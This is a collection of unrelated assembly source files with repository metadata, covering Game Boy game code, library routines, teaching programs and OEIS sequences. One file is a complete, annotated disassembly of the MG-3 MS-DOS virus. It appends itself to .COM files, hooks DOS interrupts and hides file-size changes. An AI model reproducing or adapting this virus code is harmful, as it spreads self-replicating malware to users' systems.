ld l, LOW(Missile1Vars) + MissileSprite ; \
ld c, [hl] ; |
ld b, HIGH(SpriteBuffer) ; |
inc c ; | Sprite Attributes = No Flip
inc c ; |
inc c ; |
ld [bc], a ; /
ld l, LOW(Missile1Vars) + MissileCollisionFlags ; \
ld a, %00000100 ; | Collision Flags = Collide with Enemies
ld [hl], a ; /
ret
; Fire an enemy missile
; todo: ""Will "dynamically" allocate any missile other than missile 1 (reserved for player)""
; Will always use missile 2
; If there aren't any missiles available, nothing will happen.
; Input - B = Missile X
; Input - C = Missile Y
; Sets - H L A to garbage
fireEnemyMissile::
ld hl, Missile2Vars + MissileState ; \
ld a, %01 ; | Set state to Active and Moving Down
ld [hl], a ; /
ld l, LOW(Missile1Vars) + MissileX ; \
ld a, b ; | MissileX = B
ld [hli], a ; /
inc l ; \
ld a, c ; | MissileY = C
ld [hli], a ; /
xor a ; \
ld [hli], a ; | MissileY low byte = 0
ld [hli], a ; | MissileYSpeed = 0
ld [hli], a ; /
ld l, LOW(Missile1Vars) + MissileSprite ; \
ld c, [hl] ; |
ld b, HIGH(SpriteBuffer) ; |
inc c ; | Sprite Attributes = Y Flip Enabled
inc c ; |
inc c ; |
ld a, OAMF_YFLIP ; |
ld [bc], a ; /
ld l, LOW(Missile1Vars) + MissileCollisionFlags ; \
ld a, %00000010 ; | Collision Flags = Collide with Player
ld [hl], a ; /
ret | 41.8125 | 112 | 0.455553 |
799c6c5ca17ad03dbb8cf50a202e008578502d53 | 1,331 | asm | Assembly | libsrc/_DEVELOPMENT/env/esxdos/z80/asm_getenv.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/env/esxdos/z80/asm_getenv.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/env/esxdos/z80/asm_getenv.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z | ; char *getenv(const char *name)
INCLUDE "config_private.inc"
SECTION code_env
PUBLIC asm_getenv
EXTERN __ENV_GETENV_VALUE, __ENV_FNAME, __ENV_BUF
EXTERN asm_env_getenv, error_zc
asm_getenv:
; Search for "name = value" pair in global environment
;
; enter : hl = char *name
;
; exit : success if valsz != 0
;
; hl = char *val, zero terminated value written into buffer
; carry reset
;
; fail
;
; hl = 0
; carry set
;
; uses : af, bc, de, hl, bc', de', hl', ix
ld de,__ENV_GETENV_VALUE ; static memory to hold value returned
ld bc,__ENV_GETENV_VALSZ
exx
ld a,'*'
ld hl,__ENV_FNAME
ld b,__esx_mode_read | __esx_mode_open_exist
IF __SDCC_IY
push hl
pop iy
ELSE
push hl
pop ix
ENDIF
rst __ESX_RST_SYS
defb __ESX_F_OPEN
jp c, error_zc ; if failed to open env file
ld e,a ; e = file handle
ld hl,__ENV_BUF ; disk buffer
ld bc,__ENV_BUFSZ
push de ; save file handle
exx
call asm_env_getenv
pop de ; e = file handle
push af
push hl
ld a,e
rst __ESX_RST_SYS
defb __ESX_F_CLOSE
pop hl
pop af
ret
| 16.432099 | 73 | 0.55447 |
7638fcd68367e4fb553a09fbcfa014bd3fc05687 | 2,119 | asm | Assembly | maps/RedsHouse1F.asm | Trap-Master/spacworld97-thingy | a144827abecacdfec6cdc3baa32098e9290adf70 | [
"blessing"
] | null | null | null | maps/RedsHouse1F.asm | Trap-Master/spacworld97-thingy | a144827abecacdfec6cdc3baa32098e9290adf70 | [
"blessing"
] | null | null | null | maps/RedsHouse1F.asm | Trap-Master/spacworld97-thingy | a144827abecacdfec6cdc3baa32098e9290adf70 | [
"blessing"
] | null | null | null | object_const_def ; object_event constants
const REDSHOUSE1F_REDS_MOM
RedsHouse1F_MapScripts:
db 1 ; scene scripts
scene_script .DummyScene
db 0 ; callbacks
.DummyScene:
end
RedsMom:
faceplayer
opentext
checkevent EVENT_MEET_STUMP
iftrue .MetAlready
writetext RedsMomText1
waitbutton
closetext
;setevent EVENT_MET_REDS_MOM
end
.MetAlready:
writetext RedsMomText2
waitbutton
closetext
special FadeBlackQuickly
special ReloadSpritesNoPalettes
special StubbedTrainerRankings_Healings
playmusic MUSIC_HEAL
special HealParty
pause 60
special FadeInQuickly
special RestartMapMusic
opentext
writetext MomKeepAtItText
waitbutton
closetext
end
RedsHouse1FTV:
jumptext RedsHouse1FTVText
RedsHouse1FBookshelf:
jumpstd picturebookshelf
RedsMomText1:
text "Hi honey!"
para "I know it's been"
line "hard since we"
para "moved to Japan but"
line "I'm sure you'll"
cont "get used to it."
para "By the way that"
line "odd professor"
para "wanted to see you."
line "What was his name"
para "again? Stump?"
line "Strange most don't"
para "like him here"
line "despite being a"
para "Pokemon professor."
done
RedsMomText2:
text "Hi honey how are"
line "you doing?"
para "You should rest a"
line "bit!"
done
MomKeepAtItText:
text "There you go!"
line "You look better"
para "than ever!"
line "Remember not to"
para "push yourself too"
line "hard now go and"
para "get em!"
done
RedsHouse1FTVText:
text "What's on T.V?"
para "A man from the CIA"
line "is interrogating"
para "a man with a mask"
line "on a plane"
para "Why does he wear"
line "the mask?"
done
RedsHouse1F_MapEvents:
db 0, 0 ; filler
db 3 ; warp events
warp_event 6, 7, SHIZUOKA, 1
warp_event 7, 7, SHIZUOKA, 1
warp_event 11, 1, REDS_HOUSE_2F, 1
db 0 ; coord events
db 3 ; bg events
bg_event 4, 1, BGEVENT_READ, RedsHouse1FBookshelf
bg_event 5, 1, BGEVENT_READ, RedsHouse1FBookshelf
bg_event 7, 1, BGEVENT_READ, RedsHouse1FTV
db 1 ; object events
object_event 9, 4, SPRITE_YOUR_MOM, SPRITEMOVEDATA_STANDING_LEFT, 0, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, RedsMom, -1
| 19.440367 | 119 | 0.74705 |
7901243454a666929466e41026106abe1b0e7ee2 | 9,002 | asm | Assembly | MSDOS/Virus.MSDOS.Unknown.mg_3.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:13.000Z | 2022-03-16T09:11:05.000Z | MSDOS/Virus.MSDOS.Unknown.mg_3.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | null | null | null | MSDOS/Virus.MSDOS.Unknown.mg_3.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:15.000Z | 2022-01-08T20:51:04.000Z | page ,132
;
; name: mg-3.vom
;
; program type: com/bin
;
; cpu type: 8086
;
; program loaded at 0000:01f8
;
; physical eof at 0000:03f5
;
; program entry point at 0000:01f8
;
fun segment
assume cs:fun,ds:fun,es:fun,ss:fun
;
; references before the start of code space
;
org 0006h
h_0006 label word
org 004ch
h_004c label word
org 004eh
h_004e label word
org 0090h
h_0090 label word
org 0092h
h_0092 label word
;
; data references to code space addresses
;
; org 0339h
;h_0339 label byte
;
; start of program
;
org 01f8h
h_01f8:
call h_0204 ;goto virus
nop
mov ax,4c00h
int 21h ;terminate program
;
h_0201 db 0ebh,02h,90h ;saved_prog_start
h_0204:
xchg ax,dx ;save ax
pop di ;get return address
dec di ;back by 2
dec di ;to CALL ofs
mov si,[di] ;get call ofs
dec di ;back 1 to start of program
add si,di ;call ofs plus prog start
;= saved_prog_start
push cs ;save cs
push di ;and di for program start
cld ;up!
movsw ;replace 1st word
movsb ;and 3rd byte of program
mov ax,4b04h ;fn = virus ID
int 21h ;call DOS
jae h_027f ;OK (installed), skip this
xor ax,ax ;get a 0
mov es,ax ;address INT seg
mov di,0204h ;es:di = new virus home
mov cx,offset h_03f5-h_0204 ;virus size (01f1h)
repz movsb ;copy virus to low mem
les di,[0006h] ;get seg:ofs of CPMtype doscall
mov al,0eah ;JMPF instruction
dec cx ;cx = 0FFFFh
repnz scasb ;find JMPF
les di,es:[di] ;get seg:ofs to DOS
sub di,-21h ;up to ??
jmp 0000h:0239h ;goto virus in low memory
h_0239:
push es ;DOS seg
pop ds ;to ds
mov si,[di-04h] ;get ptr to max_dos_fn
lodsb ;get that byte
cmp al,68h ;at least 68?
mov [di-03h],al ;set immediate compare value
mov word ptr [di-05h],0fc80h ;CMP AH,xx instruction
mov word ptr [di-07h],0fccdh ;INT 0FCH instruction
push cs ;current segment
pop ds ;to ds
mov [03fch],di ;set INT FF ofs to DOS entry
mov [03feh],es ;and INT FF seg to DOS entry
;BUG: need to have INT FF point to the
; CMP AH,xx instruction they
; have set up!!!
mov byte ptr [h_0339],0ah ;set dosver_skip
jnae h_026e ;not DOS 3.3+, skip this
mov byte ptr [h_0339],00h ;reset dosver_skip
mov word ptr [h_07b4],offset h_03db ;set ofs of saved INT 13 vector
mov [h_07b6],cs ;and seg of saved INT 13 vector
;in IBMBIO.COM
;NOTE: How stable are these locations?!?!?!
h_026e:
mov al,0a9h ;TEST AX,xxxx instruction
h_0270:
repnz scasb ;find it
cmp word ptr es:[di],-28h ;immediate value = 0FFD8h?
;NOTE: test for illegal flag values
jnz h_0270 ;no, try again
mov al,18h ;new immediate value: 0FF18h
;NOTE: remove "our" flag from illegal values
stosb ;modify test instr
push ss ;copy PSP seg
pop ds ;to ds
push ss ;and again
pop es ;to es
h_027f:
xchg ax,dx ;get original AX back
retf ;and execute infected program
;
; intfchere
;
h_0281:
push ax ;save regs
push dx
push ds
push cx
push bx
push es
cmp ax,4b04h ;fn = virus ID?
jz h_02ad ;yes, cleanup and exit NC
xchg ax,cx ;save ax
mov ah,2fh ;fn = get DTA
int 0ffh ;call DOS
cmp ch,11h ;fn = FCB find first?
jz h_029b ;yes, stop here
cmp ch,12h ;fn = FCB find next?
jnz h_02b4 ;no, skip this
h_029b:
xchg ax,cx ;get fn back
int 0ffh ;call to DOS
push ax ;save return code
test byte ptr es:[bx+13h],0c0h ;check our attribute bits
jz h_02ac ;not set, skip this
sub word ptr es:[bx+24h],offset h_03f5-h_0201
;update filesize to hide virus (01f4h)
h_02ac:
pop ax ;restore regs
h_02ad:
pop es
pop bx
pop cx
add sp,+0ch ;cleanup stack
iret ;and return to caller
;BUG: Should preserve returned flags!
h_02b4:
mov ah,19h ;fn = get current disk
int 0ffh ;call to DOS
push ax ;save disk
cmp ch,36h ;fn = get disk free space?
jz h_02e9 ;yes, stop here
cmp ch,4eh ;fn = find first?
jz h_02e0 ;yes, stop here
cmp ch,4bh ;fn = load/execute?
jz h_02e0 ;yes, stop here
cmp ch,47h ;fn = get current dir?
jnz h_02d1 ;no, skip this
cmp al,02h ;drive >= C:?
jae h_02ee ;yes, stop here
h_02d1:
cmp ch,5bh ;fn = create new file?
jz h_02e0 ;yes, stop here
shr ch,1 ;fn / 2
cmp ch,1eh ;fn = 3C or 3D?
;create file or open file?
jz h_02e0 ;yes, stop here
jmp h_03bb ;else continue DOS call
h_02e0:
mov ax,121ah ;fn = get file's drive
xchg si,dx ;ds:si = filename
int 2fh ;multiplex interrupt
xchg ax,dx ;ax = old si, dx = drive
xchg ax,si ;old si to si
h_02e9:
mov ah,0eh ;fn = set current disk
dec dx ;drive A: = 0, B: = 2, etc
int 0ffh ;call to DOS
h_02ee:
push es ;save dta seg
push bx ;and dta ofs
sub sp,+2ch ;allocate locals
mov dx,sp ;get ptr to local DTA
push sp ;save ptr to local DTA
mov ah,1ah ;fn = set DTA
push ss ;stack segment
pop ds ;is DTA seg
int 0ffh ;call to DOS
mov bx,dx ;bx = ptr to DTA
push cs ;current segment
pop ds ;to ds
mov ah,4eh ;fn = find first matching file
mov dx,offset h_03e9 ;ds:dx = wildcard_com
mov cx,0003h ;attributes = HIDDEN, Read-Only
int 0ffh ;call to DOS
jnae h_0319 ;error, cleanup and exit
h_030c:
test byte ptr ss:[bx+15h],80h ;our attribute set?
jz h_031c ;no, continue
;BUG: If it will re-infect a file with the
; MG-2 attribute set, then the above
; size change mask will FAIL!
h_0313:
mov ah,4fh ;fn = find next matching file
int 0ffh ;call to DOS
jae h_030c ;OK, check out this file
h_0319:
jmp h_03b2 ;cleanup and exit
h_031c:
cmp byte ptr ss:[bx+1bh],0fdh ;file too big?
ja h_0313 ;yes, try next file
mov word ptr [0090h],offset h_03c7 ;set INT24HERE ofs
mov [0092h],cs ;and INT24HERE seg
;NOTE: The original values are NOT saved!
les ax,[004ch] ;get INT 13 vector
mov [h_03f7],ax ;save oldint13ofs
mov [h_03f9],es ;and oldint13seg
h_0339 equ $+1 ;dosver_skip
jmp short h_033a ;if not DOS 3.3+, skip this
h_033a:
mov word ptr [004ch],offset h_03ca ;set ofs of INT13HERE_2
mov [004eh],cs ;and new INT 13 seg, too
;
; dosver_skip comes here
;
push ss ;DTA seg
pop ds ;to ds
push word ptr [bx+16h] ;save file time
push word ptr [bx+18h] ;and file date
push word ptr [bx+15h] ;and file attributes
lea dx,[bx+1eh] ;ds:dx = name found in DTA
mov ax,4301h ;fn = set file attributes
pop cx ;get file attributes
and cx,00feh ;high byte, R/O bit off
or cl,0c0h ;set our attributes
int 0ffh ;call to DOS
mov ax,3d02h ;fn = open file for read/write
int 0ffh ;call to DOS
xchg ax,bx ;handle to bx
push cs ;current segment
pop ds ;to ds
mov ah,3fh ;fn = read file
mov cx,0003h ;size of saved_prog_start
mov dx,offset h_0201 ;ds:dx = saved_prog_start
int 0ffh ;call to DOS
mov ax,4202h ;fn = lseek to EOF+CX:DX
xor dx,dx ;cx:dx = 0
mov cx,dx
int 0ffh ;call to DOS
mov [h_03f5],ax ;save virus_call_ofs
mov ah,40h ;fn = write to file
mov cx,offset h_03f5-h_0201 ;virus size (01f4h)
mov dx,offset h_0201 ;ds:dx = this virus
int 0ffh ;call to DOS
jnae h_039c ;error, cleanup and quit
mov ax,4200h ;fn = lseek to BOF+CX:DX
xor dx,dx ;cx:dx = 0
mov cx,dx
int 0ffh ;call to DOS
mov ah,40h ;fn = write to file
mov cx,0003h ;size of virus_call
mov dx,offset h_03f4 ;ds:dx = virus_call
int 0ffh ;call to DOS
h_039c:
mov ax,5701h ;fn = set file time/date
pop dx ;restore file date
pop cx ;and file time
int 0ffh ;call to DOS
mov ah,3eh ;fn = close file
int 0ffh ;call to DOS
les ax,[h_03f7] ;get oldint13
mov [004ch],ax ;restore INT 13 ofs
mov [004eh],es ;and INT 13 seg
h_03b2:
add sp,+2eh ;clean stuff off stack
pop dx ;restore old DTA ofs
pop ds ;and old DTA seg
mov ah,1ah ;fn = set DTA
int 0ffh ;call to DOS
h_03bb:
pop dx ;get default drive back
mov ah,0eh ;fn = set current drive
int 0ffh ;call to DOS
pop es ;restore regs
pop bx
pop cx
pop ds
pop dx
pop ax
iret ;continue INT 21
;
; int24here
;
h_03c7:
mov al,03h ;response = FAIL
iret ;and done
;
; int13here_2
;
h_03ca:
cmp ah,03h ;fn = write?
jnz h_03d6 ;no, skip this
inc byte ptr cs:[h_03ef] ;update ??
dec ah ;change function to read
h_03d6:
jmp dword ptr cs:[h_03f7] ;and continue INT 13
;
; int13here
;
h_03db:
shr byte ptr cs:[h_03ef],1 ;update ??
jae h_03e4 ;yes, skip this
inc ah ;change function
;i.e. read changes to write, etc!
h_03e4:
jmp dword ptr cs:[h_07b0] ;continue INT 13
;
h_03e9 db "* .COM" ;wildcard_com
h_03ef db 00h
;NOTE: location of following data CANNOT change!
h_03f0 dw h_0281,0000h ;INT 0FCH vector!
h_03f4 db 0e8h ;virus_call
h_03f5 equ $
;
; references after the end of code space
;
org 03f5h
h_03f5 label word ;virus_call_ofs
org 03f7h
h_03f7 label word ;oldint13ofs
org 03f9h
h_03f9 label word ;oldint13seg
fun ends
end h_01f8
| 26.554572 | 68 | 0.658076 |
f73f01cd3718e8e66a0e0e95b59c3bd5ac519eab | 6,793 | asm | Assembly | save/rants.asm | ISSOtm/Aevilia-GB | 9b4e233bac6fbf175ca9ae7e4c0a8f16c8222275 | [
"Apache-2.0"
] | 53 | 2017-08-25T01:27:33.000Z | 2021-08-30T19:55:57.000Z | save/rants.asm | ISSOtm/Aevilia-GB | 9b4e233bac6fbf175ca9ae7e4c0a8f16c8222275 | [
"Apache-2.0"
] | 6 | 2017-08-24T19:40:33.000Z | 2018-05-14T19:37:34.000Z | save/rants.asm | ISSOtm/Aevilia-GB | 9b4e233bac6fbf175ca9ae7e4c0a8f16c8222275 | [
"Apache-2.0"
] | 10 | 2017-08-24T18:37:35.000Z | 2019-10-02T04:35:39.000Z |
SECTION "Rant #0", ROMX[$6000]
SRAMCommonPattern::
db "Well, I need to make a $1000 (minus 3! :p) byte long pattern. So I thought I would write some nice rant to fill that up, yeah?"
ds 16
db "First, let me give some credits to some guys who helped me quite a bit. "
db "DevEd has been a big help, giving me his sound driver free of charge, and with some sample music tracks to help test the implementation. "
db "avivace and Nolandis helped a bunch too, mostly with ideas. Also with some coding help."
ds 16 * 2
db "I'm realizing I don't have nearly enough thoughts to fill $1000 - 3 bytes, so I think I'll write stuff about developing this game?"
ds 16
db "This actually started as a PC game, but I had too much trouble finding a correct graphics library. It was fun nonetheless, and maybe a good C exercise. "
db "But I went back to a platform I mastered quite well, the GB. I already had graphics (unless I changed this, they should be loaded in tileset #0. Try loading map #0), "
db "but they were colorized. I got lazy and thought to myself: \"Fuck grayscale compatibility.\". Also I think, now, nobody has only a DMG. And this will probably be played on emulators anyways."
ds 16
db "So I started by doing the init code - y'know, clear out the whole VRAM, WRAM, HRAM and OAM. And checking which console I am on. "
db "I also added most code you can see before $100. I call it \"my asm stdlib\". Tough times choosing what to put as RST's."
ds 16
db "I'm not sure what came next. Probably the VBlank handler. I thought about what features I might need \"detached\" from the main game code. "
db "First was WRAM SCX/Y, WX/Y, things like that. Somehow the next thing was screen shake. I also tried to implement distort in HBlank, but it was too difficult, mostly because of lack of CPU time. "
db "When it comes to the GB(C), you're golden as a programmer. You got nice raster interrupts (I'm lol-ing at the NES right now. :D), not too many hardware bugs... What could go wrong?"
ds 16
db "The VRAM. The VRAM is a bitch. Never there when you need it. "
db "CopyToVRAM, CopyAcrossToVRAM... tough times writing some of those. Also tough times trying to use \"normal\" functions in their stead, like right after VBlanking. Saves some CPU. "
db "Saving CPU is soooo important, man. Now it's less so, I guess, but on a GB, the more time you spend in HALT - CPU idle, waiting for an interrupt - the more battlery you save. "
db "That's also why right now the game doesn't use double-speed mode. It sucks up battery dry."
ds 16 * 2
db "When making the overworld engine, I had three things in mind. "
ds 16
db "1. Diagonal movement MUST be a thing. "
db "2. The player MUST move pixel by pixel, not on a grid. Biggest challenge for an 8-bit game, probably. "
db "3. Speed MUST be a variable. I didn't want to implement subpixels, though, because even though they may look better they tend to create massive movement-related bugs. "
db "Also EarthBound taught me subpixels don't look so good with diagonal movement."
ds 16
db "EarthBound is great by the way. It inspired me lots. Think about the text engine - EarthBound's is a huge mess - but it's pretty darn powerful. "
db "So powerful it might be possible to make the engine run an emulator. Why not. "
db "I wanted to have that, too: a text engine very powerful."
ds 16
db "It's kinda what happened. It's got some direct memory manipulation capabilities, as well as a basic ALU. add, sub, bit, set, res. And ld. Not very complex, but at least pretty flexible. "
db "Change a constant (the max command ID), add a pointer to your new func, have it read its arguments from the buffer, and return the number of bytes consumed in a. Easy!"
ds 16 * 2
db "Oh, I am reaching the limit here. Gonna pad this with a few $FF bytes, and it's time to say goodbye :)"
SRAMCommonEnd::
ds ($1000 - 4) - (SRAMCommonEnd - SRAMCommonPattern) - 1
db 0
; SECTION "Rant #1", ROMX[$7000]
SRAMFirstBootPattern::
db "AEVILIA GB"
ds 16
db "CREDITS"
ds 16 * 2
db "PROGRAMMING"
ds 16
db "ISSOtm (Eldred Habert)"
ds 16
db "DevEd (Edward Whalen)"
ds 16 * 2
db "LEAD GRAPHICS"
ds 16
db "Kaikun97 (Kai)"
ds 16 * 2
db "GRAPHICS"
ds 16
db "Mian"
ds 16
db "Citx"
ds 16
db "Alpha"
ds 16
db "ISSOtm"
ds 16 * 2
db "SOUND"
ds 16
db "DevEd"
ds 16
db "MAP FORGING"
ds 16
db "ISSOtm"
ds 16
db "Parzival Wolfram"
ds 16
db "Kaikun97 (Kai)"
ds 16 * 2
db "TESTING AND DEBUGGING"
ds 16
db "Parzival Wolfram"
ds 16
db "Charmy"
ds 16
db "Kai"
ds 16
db "Citx"
ds 16 * 2
db "SPECIAL 3DS SUPPORT"
ds 16
db "Parzival Wolfram"
ds 16 * 2
db "SPECIAL THANKS"
ds 16
db "Extra Credits (Check out their YouTube channel, they give awesome tips on game design)"
ds 16
db "Celeste, for her support"
ds 16
db "gbdev wiki, for their cool resources"
ds 16
db "gbdev Discord, for their help and feedback"
ds 16
db "Bas Steendijk, for BGB being a superb emulator amazing for development. Making the text smooth-scroller without this quality of an emulator would have been a nightmare."
ds 16
db "Carsten Sorensen, for RGBDS. Pretty good compiler, has its problems but at least it compiles nicely."
ds 16
db "By the way, I hate GBDK."
ds 16
db "GCL forums, for getting me into GB stuff"
ds 16
db "GCL Discord, for the amazing shitposting there"
ds 16
db "Game Freak, thank you very very VERY much for Red/Blue/Yellow being so broken! It's fun STILL finding bugs in your code :D"
ds 256
db "Maybe I should also credit you for taking time to read your save as text. Here is some info on how save files work, if you're interested."
ds 16
db "You'll probably figure out the save files are checksummed, but I'm giving ya a hint: they are also check-XOR'ed. "
db "By that I mean the game does an operation on each block of $40 bytes in $A100-$AFFF. It calculates the sum (modulo 256) and XOR of all bytes in that block. "
db "That makes the check on the whole block. So you might guess the game re-calculates these when loading, and if anything doesn't match... guess what happens, lol."
ds 16
db "You may have guessed that $A000-$A0FF is the header. Quick math will give you that $F8 bytes must be used for checksumming. "
db "So, in the first 8 bytes, there is a string, which is just there to act as a cookie. Y'know, if it's ever overwritten, everything blows up. "
db "I just needed a sting 7 chars long (plus NULL, that's 8 bytes, lining up neatly). \"AEVILIA\" fitted just right... by pure coincidence. So it's there. "
db "Unless I change it later?"
SRAMFirstBootEnd::
ds $1000 - (SRAMFirstBootEnd - SRAMFirstBootPattern) - 1
db 0
| 48.870504 | 201 | 0.70764 |
b1a8d9628b0ea815a56b429dab17166c102ff451 | 3,407 | asm | Assembly | Assembly/Personal Project/factor_code.asm | XU-99/ONE | bd4c118d044941849c5a1357a7025859e091d32a | [
"MIT"
] | 1 | 2020-07-18T15:40:10.000Z | 2020-07-18T15:40:10.000Z | Assembly/Personal Project/factor_code.asm | XU-99/ONE | bd4c118d044941849c5a1357a7025859e091d32a | [
"MIT"
] | null | null | null | Assembly/Personal Project/factor_code.asm | XU-99/ONE | bd4c118d044941849c5a1357a7025859e091d32a | [
"MIT"
] | null | null | null | TITLE 求因數 (factor.asm)
INCLUDE Irvine32.inc
.data
Begin byte ?
Count byte 0
Choose byte 0
Message1 byte "Please enter a number between 1 and 100 : ",0
Message2 byte "The factor of this number is : ",0
Message3 byte "This number is out of range ",0
Message4 byte "Please choose enter again or exit: ",0
Message5 byte "1.Enter again 2.exit : ",0
Message6 byte "This number is a prime number ",0
Message7 byte "This number is a composite number ",0
Message8 byte " ",0
Message9 byte "Do you want judge again ? ",0
Message10 byte "1.Yes 2.No :",0
Message11 byte "This number is not prime number or composite number ",0
.code
main PROC
call Clrscr
Line_start:
mov edx,offset Message1 ;請使用者輸入一個1到100之間的數字
call WriteString
call ReadInt ;接收並儲存輸入值
call Crlf
cmp ax,64h ;比較輸入值和100的大小
jnz Line_1 ;輸入值不等於100,需要再次判斷
jz Line_main ;輸入值等於100,進入主程式
Line_1:
jnc Line_out ;輸入值大於100,進入選擇程式
jc Line_2 ;輸入值小於100,進入主程式
Line_2:
cmp ax,1 ;比較輸入值和1的大小
jnz Line_3 ;輸入值不等於1,需要再次判斷
jz Line_main ;輸入值等於1,進入主程式
Line_3:
jnc Line_main ;輸入值大於1,進入主程式
jc Line_out ;輸入值小於1,進入選擇程式
Line_out:
mov edx,offset Message3 ;提示輸入值超出範圍
call WriteString
call Crlf
call Crlf
mov edx,offset Message4 ;請使用者做選擇
call WriteString
call Crlf
mov edx,offset Message5
call WriteString
call ReadInt ;接收使用者的選擇
call Crlf
cmp ax,1 ;判斷使用者的選擇
jz Line_start
jnz Line_exit
Line_main: ;因數主程式
mov Begin,al
mov ecx,64h
mov edx,offset Message2
call WriteString
call Crlf
mov count,0 ;計數器歸零
Judge: ;求因數
mov al,Begin
mov ah,00
mov bl,cl
div bl
cmp ah,00 ;比較餘數是否等於0
jnz Line_4 ;餘數不為0時直接跳過,為0則繼續往下判斷
cmp al,00 ;比較商是否為0
jz Line_4 ;商為0時直接跳過,不為0則印出因數
inc Count ;計數因數的個數
call WriteDec ;印出因數
mov edx,offset Message8 ;印空格
call WriteString
Line_4:
Loop Judge
call Crlf
jmp Line_count ;跳至質數判斷程式
Line_choose: ;詢問是否再次判斷
mov edx,offset Message9
call WriteString
call Crlf
mov edx,offset Message10
call WriteString
call ReadInt
call Crlf
mov Choose,al
cmp Choose,1
jz Line_start
Line_exit: ;退出程序
exit
Line_count:
cmp Count,2 ;判斷因數個數
jz Line_prime
jc Line_not
jmp Line_composite
Line_prime: ;顯示此數為質數
mov edx,offset Message6
call WriteString
call Crlf
call Crlf
jmp Line_choose
Line_composite: ;顯示此數為合數
mov edx,offset Message7
call WriteString
call Crlf
call Crlf
jmp Line_choose
Line_not: ;當數字為1時,既不是質數也不是合數
mov edx,offset Message11
call WriteString
call Crlf
call Crlf
jmp Line_choose
main ENDP
END main | 24.868613 | 78 | 0.542706 |
b1dd3a6635ad98d66050df1b7d4ae09e05396b53 | 1,511 | asm | Assembly | 002-assembly/common-fpu-rc.asm | dingjingmaster/learn-kernel | befb4ef7ff56145d268e79fe1d18a5c11433c11a | [
"MIT"
] | null | null | null | 002-assembly/common-fpu-rc.asm | dingjingmaster/learn-kernel | befb4ef7ff56145d268e79fe1d18a5c11433c11a | [
"MIT"
] | null | null | null | 002-assembly/common-fpu-rc.asm | dingjingmaster/learn-kernel | befb4ef7ff56145d268e79fe1d18a5c11433c11a | [
"MIT"
] | null | null | null | ########################################################
# FileName : common-fpu-rc.asm
# Author : DingJing
# Mail : dingjing@live.cn
# Created Time : 2022年01月06日 星期四 11时56分17秒
########################################################
default_cw: .word 0x0000
nearest: .word 0x0000
down: .word 0x0400
up: .word 0x0800
zero: .word 0x0C00
.bss
.lcomm result, 8
.text
.global _main
_main:
finit # initialize FPU
fstcw default_cw(%rip) # store initialized control word in default
movw default_cw(%rip), %ax # move default control word to AX register
andb $0b11110011, %ah # clear RC field (bits 10 and 11)
orw %ax, nearest(%rip) # set RC bits to 00 and store in nearest
orw %ax, down(%rip) # set RC bits to 01 and store in down
orw %ax, up(%rip) # set RC bits to 10 and store in up
orw %ax, zero(%rip) # set RC bits to 11 and store in zero
xor %ax, %ax # sequence to verify bits
movw default_cw(%rip), %ax
movw nearest(%rip), %ax
movw down(%rip), %ax
movw up(%rip), %ax
movw zero(%rip), %ax
fldcw nearest(%rip) # set desired rounding mode
fldpi # load pi on the stack
frndint # round to integer (uses rounding mode)
fistpq result(%rip) # store from FPU stack to memory
movq result(%rip), %rax # mov rounded result to RAX
movq $60, %rax
xorq %rdi, %rdi
syscall
.end
| 32.148936 | 75 | 0.544011 |
d9df524754ac333bc92d38aaef8707d4209a8e31 | 2,076 | asm | Assembly | programs/oeis/123/A123095.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/123/A123095.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/123/A123095.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A123095: Sum of first n 11th powers.
; 0,1,2049,179196,4373500,53201625,415998681,2393325424,10983260016,42364319625,142364319625,427675990236,1170684360924,2962844754961,7012409924625,15662165784000,33254351828416,67526248136049,131794658215281,248284917113500,453084917113500,803362417655721,1387680719067049,2340490476980976,3862171620150000,6246357411165625,9916701898153401,15475762464708924,23769271932180796,35969781697886625,53684481697886625,79092958594291456,115121755613255424,165663862126982241,235852705765014625,332401863138061500,464023566980328636,641941188759789049,880513238983341561,1197989076305814000,1617419476305814000,2167748508022062441,2885116829132531049,3814410568603753756,5011094449894153500,6543372751114856625,8494727135322579121,10966886350406591424,14083289331616752576,17993110380199740625,22875922880199740625,28947086495408003676,36463952004758968924,45732987934131160521,57117943974436871625,71049177890989606000,88034285280371999856,108670185173414801049,133656829173580338841,163812717618318181500,200092423218318181500,243606340829754020161,295642901513591114049,357693509902143937536,431480486196982144000,518988317937070034625,622498552077182555841,744628684982150572924,888375436752840895356,1057162826938019321625,1254895501238019321625,1486017793359720886896,1755579042828683981424,2069305728397043689801,2433681017801378615625,2856032378122423537500,3344627936980259082076,3908782333369396532049,4558972848205820087121,5306966658733341016000,6165960117933341016000,7150731020116952248881,8277804877071829056049,9565636295609914892316,11034806617244154601500,12708239054140297179625,14611432632577361283561,16772716336042851773424,19223524924925590449136,21998697998692580789625,25136803959592580789625,28680490634467358621116,32676864413324774292924,37177899870092200890081,42240881942584258086625,47928882865348857696000,54311276170867267735296,61464290201748071862049,69471603709246031386401,78424986251833195837500
lpb $0
mov $2,$0
sub $0,1
